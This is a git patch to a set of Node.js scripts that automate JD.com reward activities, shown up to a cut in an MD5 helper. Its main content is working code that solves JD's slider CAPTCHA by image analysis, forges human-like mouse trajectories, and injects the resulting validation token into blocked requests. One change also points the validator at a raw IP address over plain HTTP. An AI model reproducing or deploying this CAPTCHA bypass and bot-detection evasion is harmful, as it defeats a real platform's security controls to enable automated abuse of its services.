From cfb981e2f2662d31eae11ef06d54a8df79b35c7c Mon Sep 17 00:00:00 2001 From: root Date: Sun, 1 Aug 2021 11:04:55 -0400 Subject: [PATCH] =?UTF-8?q?=E6=9B=B4=E6=96=B0=E4=BA=8E=2008-01=2011:04?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- JDJRValidator_Pure.js | 221 +-- JDJRValidator_Smiek.js | 532 +++++++ ZooFaker_Necklace.js | 406 +++-- docker/crontab_list.sh | 17 + jd_bean_sign.js | 307 ++-- jd_beauty.js | 62 +- jd_blueCoin.js | 524 ++----- jd_bookshop.js | 4 +- jd_cash.js | 158 +- jd_cfd.js | 2489 ++++++++++++++++++++++--------- jd_cfd_cashOut.js | 998 ++++++++----- jd_cfd_loop.js | 874 +++++++---- jd_earn30.js | 535 +++++++ jd_fcdyj.js | 280 ++++ jd_fruit.js | 119 +- jd_half_redrain.js | 38 + jd_health.js | 227 ++- jd_jdfactory.js | 70 +- jd_jdzz.js | 218 ++- jd_joy.js | 558 ++++--- jd_joy_feedPets.js | 377 +++++ jd_joy_run.js | 671 ++++++++- jd_joy_steal.js | 247 ++- jd_joypark_joy.js | 420 ++++++ wast/jd_jxlhb.js => jd_jxlhb.js | 34 +- jd_ljd.js | 228 +++ jd_lsj.js | 1114 +++++++------- jd_moneyTree.js | 941 +----------- jd_moneyTree_help.js | 331 ++++ jd_necklace.js | 384 +++-- jd_pet.js | 104 +- jd_pigPet.js | 181 +-- jd_plantBean.js | 103 +- jd_sgmh.js | 118 +- jd_sign.js | 49 +- jd_small_home.js | 203 ++- jd_speed_redpocke.js | 18 +- jd_speed_sign.js | 238 +-- jd_superMarket.js | 1060 +++---------- jd_super_redrain.js | 38 + jd_syj.js | 70 +- jd_try.js | 1975 ++++++++++++------------ jd_wsdlb.js | 560 +++---- jd_zjb.js | 254 ++++ jx_nc.js | 16 +- jx_sign.js | 630 +++++--- sign_graphics_validate.js | 2078 ++++++++++++++++++++++++++ 47 files changed, 14007 insertions(+), 7072 deletions(-) create mode 100755 JDJRValidator_Smiek.js create mode 100755 jd_earn30.js create mode 100755 jd_fcdyj.js create mode 100755 jd_half_redrain.js create mode 100755 jd_joy_feedPets.js create mode 100755 jd_joypark_joy.js rename wast/jd_jxlhb.js => jd_jxlhb.js (95%) create mode 100755 jd_ljd.js create mode 100755 jd_moneyTree_help.js create mode 100755 jd_super_redrain.js create mode 100755 jd_zjb.js create mode 100755 sign_graphics_validate.js diff --git a/JDJRValidator_Pure.js b/JDJRValidator_Pure.js index d7f6871..899c236 100755 --- a/JDJRValidator_Pure.js +++ b/JDJRValidator_Pure.js @@ -1,12 +1,17 @@ +/* + 由于 canvas 依赖系统底层需要编译且预编译包在 github releases 上,改用另一个纯 js 解码图片。若想继续使用 canvas 可调用 runWithCanvas 。 + + 添加 injectToRequest 用以快速修复需验证的请求。eg: $.get=injectToRequest($.get.bind($)) +*/ const https = require('https'); const http = require('http'); const stream = require('stream'); const zlib = require('zlib'); const vm = require('vm'); const PNG = require('png-js'); -let UA = require('./USER_AGENTS.js').USER_AGENT; -const validatorCount = process.env.JDJR_validator_Count ? process.env.JDJR_validator_Count : 100 - +const UA = require('./USER_AGENTS.js').USER_AGENT; +const { promisify } = require('util'); +const pipelineAsync = promisify(stream.pipeline); Math.avg = function average() { var sum = 0; @@ -29,10 +34,14 @@ class PNGDecoder extends PNG { decodeToPixels() { return new Promise((resolve) => { - this.decode((pixels) => { - this.pixels = pixels; - resolve(); - }); + try { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + } catch (e) { + console.info(e) + } }); } @@ -66,10 +75,14 @@ class PuzzleRecognizer { } async run() { - await this.bg.decodeToPixels(); - await this.patch.decodeToPixels(); + try { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); - return this.recognize(); + return this.recognize(); + } catch (e) { + console.info(e) + } } recognize() { @@ -203,74 +216,74 @@ const DATA = { "product": "embed", "lang": "zh_CN", }; -const SERVER = 'iv.jd.com'; +const SERVER = '61.49.99.122'; class JDJRValidator { constructor() { this.data = {}; this.x = 0; this.t = Date.now(); - this.count = 0; } - async run(scene = 'cww', eid='') { - const tryRecognize = async () => { - const x = await this.recognize(scene, eid); + async run(scene) { + try { + const tryRecognize = async () => { + const x = await this.recognize(scene); - if (x > 0) { - return x; - } - // retry - return await tryRecognize(); - }; - const puzzleX = await tryRecognize(); - // console.log(puzzleX); - const pos = new MousePosFaker(puzzleX).run(); - const d = getCoordinate(pos); - - // console.log(pos[pos.length-1][2] -Date.now()); - // await sleep(4500); - await sleep(pos[pos.length - 1][2] - Date.now()); - this.count++; - const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}, scene); - - if (result.message === 'success') { - // console.log(result); - console.log('JDJR验证用时: %fs', (Date.now() - this.t) / 1000); - return result; - } else { - console.log(`验证失败: ${this.count}/${validatorCount}`); - // console.log(JSON.stringify(result)); - if(this.count >= validatorCount){ - console.log("JDJR验证次数已达上限,退出验证"); - return result; - }else{ - await sleep(300); - return await this.run(scene, eid); - } - } - } - - async recognize(scene, eid) { - const data = await JDJRValidator.jsonp('/slide/g.html', {e: eid}, scene); - const {bg, patch, y} = data; - // const uri = 'data:image/png;base64,'; - // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); - const re = new PuzzleRecognizer(bg, patch, y); - // console.log(JSON.stringify(re)) - const puzzleX = await re.run(); - - if (puzzleX > 0) { - this.data = { - c: data.challenge, - w: re.w, - e: eid, - s: '', - o: '', + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); }; - this.x = puzzleX; + const puzzleX = await tryRecognize(); + // console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + + // console.log(pos[pos.length-1][2] -Date.now()); + // await sleep(4500); + await sleep(pos[pos.length - 1][2] - Date.now()); + const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}, scene); + + if (result.message === 'success') { + // console.log(result); + console.log('JDJR验证用时: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + console.count("验证失败"); + // console.count(JSON.stringify(result)); + await sleep(300); + return await this.run(scene); + } + } catch (e) { + console.info(e) + } + } + + async recognize(scene) { + try { + const data = await JDJRValidator.jsonp('/slide/g.html', {e: ''}, scene); + const {bg, patch, y} = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + const puzzleX = await re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: '', + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } catch (e) { + console.info(e) } - return puzzleX; } async report(n) { @@ -287,7 +300,6 @@ class JDJRValidator { } console.log('验证成功: %f\%', (count / n) * 100); - console.clear() console.timeEnd('PuzzleRecognizer'); } @@ -295,28 +307,26 @@ class JDJRValidator { return new Promise((resolve, reject) => { const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; const extraData = {callback: fnId}; - const query = new URLSearchParams({...DATA,...{"scene": scene}, ...extraData, ...data}).toString(); - const url = `https://${SERVER}${api}?${query}`; + const query = new URLSearchParams({...DATA, ...{"scene": scene}, ...extraData, ...data}).toString(); + const url = `http://${SERVER}${api}?${query}`; const headers = { 'Accept': '*/*', 'Accept-Encoding': 'gzip,deflate,br', - 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'Accept-Language': 'zh-CN,en-US', 'Connection': 'keep-alive', - 'Host': "iv.jd.com", + 'Host': SERVER, 'Proxy-Connection': 'keep-alive', - 'Referer': 'https://h5.m.jd.com/', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', 'User-Agent': UA, }; - - const req = https.get(url, {headers}, (response) => { + const req = http.get(url, {headers}, (response) => { let res = response; if (res.headers['content-encoding'] === 'gzip') { const unzipStream = new stream.PassThrough(); - stream.pipeline( + pipelineAsync( response, zlib.createGunzip(), unzipStream, - reject, ); res = unzipStream; } @@ -396,7 +406,7 @@ function getCoordinate(c) { return b.join("") } -const HZ = 20; +const HZ = 5; class MousePosFaker { constructor(puzzleX) { @@ -501,32 +511,43 @@ class MousePosFaker { } } -function injectToRequest(fn,scene = 'cww', ua = '') { - if(ua) UA = ua +// new JDJRValidator().run(); +// new JDJRValidator().report(1000); +// console.log(getCoordinate(new MousePosFaker(100).run())); + +function injectToRequest2(fn, scene = 'cww') { return (opts, cb) => { fn(opts, async (err, resp, data) => { - if (err) { - console.error(JSON.stringify(err)); - return; - } - if (data.search('验证') > -1) { - console.log('JDJR验证中......'); - let arr = opts.url.split("&") - let eid = '' - for(let i of arr){ - if(i.indexOf("eid=")>-1){ - eid = i.split("=") && i.split("=")[1] || '' - } - } - const res = await new JDJRValidator().run(scene, eid); - - opts.url += `&validate=${res.validate}`; - fn(opts, cb); - } else { - cb(err, resp, data); + try { + if (err) { + console.error('验证请求失败.'); + return; + } + if (data.search('验证') > -1) { + console.log('JDJR验证中......'); + const res = await new JDJRValidator().run(scene); + if (res) { + opts.url += `&validate=${res.validate}`; + } + fn(opts, cb); + } else { + cb(err, resp, data); + } + } catch (e) { + console.info(e) } }); }; } -exports.injectToRequest = injectToRequest; \ No newline at end of file +async function injectToRequest(scene = 'cww') { + console.log('JDJR验证中......'); + const res = await new JDJRValidator().run(scene); + return `&validate=${res.validate}` +} + +module.exports = { + sleep, + injectToRequest, + injectToRequest2 +} \ No newline at end of file diff --git a/JDJRValidator_Smiek.js b/JDJRValidator_Smiek.js new file mode 100755 index 0000000..fdd7b3d --- /dev/null +++ b/JDJRValidator_Smiek.js @@ -0,0 +1,532 @@ +const https = require('https'); +const http = require('http'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const PNG = require('png-js'); +let UA = require('./USER_AGENTS.js').USER_AGENT; +const validatorCount = process.env.JDJR_validator_Count ? process.env.JDJR_validator_Count : 100 +const { promisify } = require('util'); +const pipelineAsync = promisify(stream.pipeline); + +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + + decodeToPixels() { + return new Promise((resolve) => { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + }); + } + + getImageData(x, y, w, h) { + const {pixels} = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + + return {data: pixels.slice(startIndex, startIndex + len)}; + } +} + +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; + +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + + // console.log(imgBg); + + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + } + + async run() { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + + return this.recognize(); + } + + recognize() { + const {ctx, w: width, bg} = this; + const {width: patchWidth, height: patchHeight} = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } + + runWithCanvas() { + const {createCanvas, Image} = require('canvas'); + const canvas = createCanvas(); + const ctx = canvas.getContext('2d'); + const imgBg = new Image(); + const imgPatch = new Image(); + const prefix = 'data:image/png;base64,'; + + imgBg.src = prefix + this.rawBg; + imgPatch.src = prefix + this.rawPatch; + const {naturalWidth: w, naturalHeight: h} = imgBg; + canvas.width = w; + canvas.height = h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(imgBg, 0, 0, w, h); + + const width = w; + const {naturalWidth, naturalHeight} = imgPatch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = 'iv.jd.com'; + +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + this.count = 0; + } + + async run(scene = 'cww', eid='') { + const tryRecognize = async () => { + const x = await this.recognize(scene, eid); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + // console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + + // console.log(pos[pos.length-1][2] -Date.now()); + // await sleep(4500); + await sleep(pos[pos.length - 1][2] - Date.now()); + this.count++; + const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}, scene); + + if (result.message === 'success') { + // console.log(result); + console.log('JDJR验证用时: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + console.log(`验证失败: ${this.count}/${validatorCount}`); + // console.log(JSON.stringify(result)); + if(this.count >= validatorCount){ + console.log("JDJR验证次数已达上限,退出验证"); + return result; + }else{ + await sleep(300); + return await this.run(scene, eid); + } + } + } + + async recognize(scene, eid) { + const data = await JDJRValidator.jsonp('/slide/g.html', {e: eid}, scene); + const {bg, patch, y} = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + // console.log(JSON.stringify(re)) + const puzzleX = await re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: eid, + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count++; + if (i % 50 === 0) { + // console.log('%f\%', (i / n) * 100); + } + } + + console.log('验证成功: %f\%', (count / n) * 100); + console.clear() + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}, scene) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = {callback: fnId}; + const query = new URLSearchParams({...DATA,...{"scene": scene}, ...extraData, ...data}).toString(); + const url = `https://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'Connection': 'keep-alive', + 'Host': "iv.jd.com", + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/', + 'User-Agent': UA, + }; + + const req = https.get(url, {headers}, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + pipelineAsync( + response, + zlib.createGunzip(), + unzipStream, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + // console.log(ctx.data); + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 20; + +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + // console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({x, y, duration}) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +function injectToRequest(fn,scene = 'cww', ua = '') { + if(ua) UA = ua + return (opts, cb) => { + fn(opts, async (err, resp, data) => { + if (err) { + console.error(JSON.stringify(err)); + return; + } + if (data.search('验证') > -1) { + console.log('JDJR验证中......'); + let arr = opts.url.split("&") + let eid = '' + for(let i of arr){ + if(i.indexOf("eid=")>-1){ + eid = i.split("=") && i.split("=")[1] || '' + } + } + const res = await new JDJRValidator().run(scene, eid); + + opts.url += `&validate=${res.validate}`; + fn(opts, cb); + } else { + cb(err, resp, data); + } + }); + }; +} + +exports.injectToRequest = injectToRequest; \ No newline at end of file diff --git a/ZooFaker_Necklace.js b/ZooFaker_Necklace.js index d9ac321..dca7265 100755 --- a/ZooFaker_Necklace.js +++ b/ZooFaker_Necklace.js @@ -1,5 +1,217 @@ -let joyytoken; // = "MDFLbmZBbzAxMQ==.elhUd1Z8XlN5XXtbUz9ceyIicQZyPFQ0EXpCUG1aZ1wYcxF6EAB1IHw6BXMFCSUhCV4tGiMgJBE7ExIudlMY.6d560ccc"; -let joyytoken_count = 1; +function safeAdd(x, y) { + var lsw = (x & 0xffff) + (y & 0xffff) + var msw = (x >> 16) + (y >> 16) + (lsw >> 16) + return (msw << 16) | (lsw & 0xffff) +} + +/* + * Bitwise rotate a 32-bit number to the left. + */ +function bitRotateLeft(num, cnt) { + return (num << cnt) | (num >>> (32 - cnt)) +} + +function md5(string, key, raw) { + if (!key) { + if (!raw) { + return hexMD5(string) + } + return rawMD5(string) + } + if (!raw) { + return hexHMACMD5(key, string) + } + return rawHMACMD5(key, string) +} + +/* + * Convert a raw string to a hex string + */ +function rstr2hex(input) { + var hexTab = '0123456789abcdef' + var output = '' + var x + var i + for (i = 0; i < input.length; i += 1) { + x = input.charCodeAt(i) + output += hexTab.charAt((x >>> 4) & 0x0f) + hexTab.charAt(x & 0x0f) + } + return output +} +/* + * Encode a string as utf-8 + */ +function str2rstrUTF8(input) { + return unescape(encodeURIComponent(input)) +} +/* + * Calculate the MD5 of a raw string + */ +function rstrMD5(s) { + return binl2rstr(binlMD5(rstr2binl(s), s.length * 8)) +} + +function hexMD5(s) { + return rstr2hex(rawMD5(s)) +} +function rawMD5(s) { + return rstrMD5(str2rstrUTF8(s)) +} + +/* + * These functions implement the four basic operations the algorithm uses. + */ +function md5cmn(q, a, b, x, s, t) { + return safeAdd(bitRotateLeft(safeAdd(safeAdd(a, q), safeAdd(x, t)), s), b) +} + +function md5ff(a, b, c, d, x, s, t) { + return md5cmn((b & c) | (~b & d), a, b, x, s, t) +} + +function md5gg(a, b, c, d, x, s, t) { + return md5cmn((b & d) | (c & ~d), a, b, x, s, t) +} + +function md5hh(a, b, c, d, x, s, t) { + return md5cmn(b ^ c ^ d, a, b, x, s, t) +} + +function md5ii(a, b, c, d, x, s, t) { + return md5cmn(c ^ (b | ~d), a, b, x, s, t) +} + +/* + * Calculate the MD5 of an array of little-endian words, and a bit length. + */ +function binlMD5(x, len) { + /* append padding */ + x[len >> 5] |= 0x80 << (len % 32) + x[((len + 64) >>> 9 << 4) + 14] = len + + var i + var olda + var oldb + var oldc + var oldd + var a = 1732584193 + var b = -271733879 + var c = -1732584194 + var d = 271733878 + + for (i = 0; i < x.length; i += 16) { + olda = a + oldb = b + oldc = c + oldd = d + + a = md5ff(a, b, c, d, x[i], 7, -680876936) + d = md5ff(d, a, b, c, x[i + 1], 12, -389564586) + c = md5ff(c, d, a, b, x[i + 2], 17, 606105819) + b = md5ff(b, c, d, a, x[i + 3], 22, -1044525330) + a = md5ff(a, b, c, d, x[i + 4], 7, -176418897) + d = md5ff(d, a, b, c, x[i + 5], 12, 1200080426) + c = md5ff(c, d, a, b, x[i + 6], 17, -1473231341) + b = md5ff(b, c, d, a, x[i + 7], 22, -45705983) + a = md5ff(a, b, c, d, x[i + 8], 7, 1770035416) + d = md5ff(d, a, b, c, x[i + 9], 12, -1958414417) + c = md5ff(c, d, a, b, x[i + 10], 17, -42063) + b = md5ff(b, c, d, a, x[i + 11], 22, -1990404162) + a = md5ff(a, b, c, d, x[i + 12], 7, 1804603682) + d = md5ff(d, a, b, c, x[i + 13], 12, -40341101) + c = md5ff(c, d, a, b, x[i + 14], 17, -1502002290) + b = md5ff(b, c, d, a, x[i + 15], 22, 1236535329) + + a = md5gg(a, b, c, d, x[i + 1], 5, -165796510) + d = md5gg(d, a, b, c, x[i + 6], 9, -1069501632) + c = md5gg(c, d, a, b, x[i + 11], 14, 643717713) + b = md5gg(b, c, d, a, x[i], 20, -373897302) + a = md5gg(a, b, c, d, x[i + 5], 5, -701558691) + d = md5gg(d, a, b, c, x[i + 10], 9, 38016083) + c = md5gg(c, d, a, b, x[i + 15], 14, -660478335) + b = md5gg(b, c, d, a, x[i + 4], 20, -405537848) + a = md5gg(a, b, c, d, x[i + 9], 5, 568446438) + d = md5gg(d, a, b, c, x[i + 14], 9, -1019803690) + c = md5gg(c, d, a, b, x[i + 3], 14, -187363961) + b = md5gg(b, c, d, a, x[i + 8], 20, 1163531501) + a = md5gg(a, b, c, d, x[i + 13], 5, -1444681467) + d = md5gg(d, a, b, c, x[i + 2], 9, -51403784) + c = md5gg(c, d, a, b, x[i + 7], 14, 1735328473) + b = md5gg(b, c, d, a, x[i + 12], 20, -1926607734) + + a = md5hh(a, b, c, d, x[i + 5], 4, -378558) + d = md5hh(d, a, b, c, x[i + 8], 11, -2022574463) + c = md5hh(c, d, a, b, x[i + 11], 16, 1839030562) + b = md5hh(b, c, d, a, x[i + 14], 23, -35309556) + a = md5hh(a, b, c, d, x[i + 1], 4, -1530992060) + d = md5hh(d, a, b, c, x[i + 4], 11, 1272893353) + c = md5hh(c, d, a, b, x[i + 7], 16, -155497632) + b = md5hh(b, c, d, a, x[i + 10], 23, -1094730640) + a = md5hh(a, b, c, d, x[i + 13], 4, 681279174) + d = md5hh(d, a, b, c, x[i], 11, -358537222) + c = md5hh(c, d, a, b, x[i + 3], 16, -722521979) + b = md5hh(b, c, d, a, x[i + 6], 23, 76029189) + a = md5hh(a, b, c, d, x[i + 9], 4, -640364487) + d = md5hh(d, a, b, c, x[i + 12], 11, -421815835) + c = md5hh(c, d, a, b, x[i + 15], 16, 530742520) + b = md5hh(b, c, d, a, x[i + 2], 23, -995338651) + + a = md5ii(a, b, c, d, x[i], 6, -198630844) + d = md5ii(d, a, b, c, x[i + 7], 10, 1126891415) + c = md5ii(c, d, a, b, x[i + 14], 15, -1416354905) + b = md5ii(b, c, d, a, x[i + 5], 21, -57434055) + a = md5ii(a, b, c, d, x[i + 12], 6, 1700485571) + d = md5ii(d, a, b, c, x[i + 3], 10, -1894986606) + c = md5ii(c, d, a, b, x[i + 10], 15, -1051523) + b = md5ii(b, c, d, a, x[i + 1], 21, -2054922799) + a = md5ii(a, b, c, d, x[i + 8], 6, 1873313359) + d = md5ii(d, a, b, c, x[i + 15], 10, -30611744) + c = md5ii(c, d, a, b, x[i + 6], 15, -1560198380) + b = md5ii(b, c, d, a, x[i + 13], 21, 1309151649) + a = md5ii(a, b, c, d, x[i + 4], 6, -145523070) + d = md5ii(d, a, b, c, x[i + 11], 10, -1120210379) + c = md5ii(c, d, a, b, x[i + 2], 15, 718787259) + b = md5ii(b, c, d, a, x[i + 9], 21, -343485551) + + a = safeAdd(a, olda) + b = safeAdd(b, oldb) + c = safeAdd(c, oldc) + d = safeAdd(d, oldd) + } + return [a, b, c, d] +} +/* + * Convert an array of little-endian words to a string + */ +function binl2rstr(input) { + var i + var output = '' + var length32 = input.length * 32 + for (i = 0; i < length32; i += 8) { + output += String.fromCharCode((input[i >> 5] >>> (i % 32)) & 0xff) + } + return output +} + + +/* + * Convert a raw string to an array of little-endian words + * Characters >255 have their high-byte silently ignored. + */ +function rstr2binl(input) { + var i + var output = [] + 